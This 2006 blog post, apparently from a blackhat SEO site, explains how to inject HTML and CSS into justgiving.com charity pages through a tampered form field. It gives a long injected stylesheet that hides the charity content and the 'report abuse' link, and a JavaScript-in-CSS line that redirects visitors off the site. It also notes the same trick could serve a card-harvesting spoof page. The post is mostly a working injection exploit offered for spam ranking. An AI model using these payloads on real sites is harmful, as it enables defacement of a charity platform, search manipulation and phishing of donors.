Blackhat SEO - Esrun

Abusing free services

September 3, 2006 on 8:30 pm | In Blackhat SEO |

One thing that people involved in blackhat SEO usually target is free services. There are several reasons for this, firstly they obviously incur no bandwidth costs but also they realise the weight that some domains carry and understand the importance of piggy backing onto this if possible.

After recently making a donation on justgiving.com the idea of using the website for SEO reasons came to mind. After all the justgiving.com domain carries a lot of weight on the search engines.

The first task was to work out how to inject my own HTML and/or CSS onto the page to modify it for my requirements. E.g remove all the charity related items and set styles to make titles large for ranking reasons.

After creating an account is became apparent that whilst editing your charity page you could change the form value ‘did’ which would change the header for your account… excellent, slack checking!

Okay, so how would you inject your own HTML? After all there are filters in place to remove HTML… after fiddling around for a few hours I managed to work out a way to do it.

Go into the edit page option and then fill the ‘personal message’ box with your main page content and then click the ‘update and preview’ button. The next page gives you a preview of what you have created and lets you continue or back up, here you edit the form field ‘childImageChoice’ and enter the following code:


“>

/* This CSS file is loaded after the justgiving one meaning my code will overtake theirs! */

/* Set the background colour for the page */
body {
background: #3E5567;
}

/* Hide images since they’re a load of rubbish anyway */
img {
display: none;
}

/* Make the main title of the page large */
.clsFRPTitle {
font-size: 35px;
font-family: verdana;
}

/* Hide the images within the top banner of the page */
.clsHeaderBorder img {
display: none;
}

/* Set a pretty banner for the page */
.clsHeaderBorder {
border: 1px solid #000000;
width: 800px;
height: 100px;
background-image: url(”http://www.yourdomain.com/banner.gif”);
}

/* Hide the report abuse option */
.clsFRPTxtSmall {
display: none;
}

/* Hide several bits and bobs including some links */
.clsTxtSmall {
display: none;
}

/* Hide the text which shows previous donations */
.clsFRPAccCelBtm {
display: none;
}

/* Hide page creator, event, event date and team members */
.clsFRPDetail {
display: none;
}

/* Hide fund raising targets */
.clsFRPSummaryAmts {
display: none;
}

/* Hide donation display name, date, type etc etc text */
.clsFRPAccCelTop {
display: none;
}

/* Hide the meter area */
.clsFormBox {
display: none;
}

/* Customize the text area */
.clsFRPMessBdr {
font-family: verdana;
font-size: 15px;
vertical-align: top;
}

/* Customize the text area links */
.clsFRPMessBdr a, .clsFRPMessBdr a:visited {
padding-left: 15px;
padding-right: 15px;
padding-top: 5px;
padding-bottom: 5px;
color: #FFFFFF;
border: 2px solid red;
background-color: #000000;
text-decoration: none;
font-weight: bold;
font-size: 20px;
}

.clsFRPMessBdr a:hover {
padding-left: 15px;
padding-right: 15px;
padding-top: 5px;
padding-bottom: 5px;
color: #FFFFFF;
border: 1px solid red;
background-color: #000000;
text-decoration: none;
font-weight: bold;
font-size: 20px;
}

/* Customize the image, enter URL to image and the size */
.clsFRPImgTablBdr{
background-image: url(”http://www.gov.im/lib/images/post/postal/parcelforce.jpg”);
width: 200px;
height: 200px;
}

The end result? A web page hosted by justgiving.com but formatted for search rank reasons.

I have tested this and it ranked very well after a month or so for a competitive term with just one minor incoming link to the page. Eventually I ended up using javascript executed from within my remote CSS file to redirect visitors to another page which I had more control over. The following code was used within my style.css file to redirect the page:


body {background-image: url(’javascript:window.location.href=”http://www.mattcutts.com”;’);}


This same method could obviously also be used to create a spoof page on justgiving.com which looks like an official justgiving.com collection page but in fact is simply harvesting card details, this would not be SEO but simply breaking the law! I did try and discuss this issue with JustGiving when I first discovered it but they weren’t interested.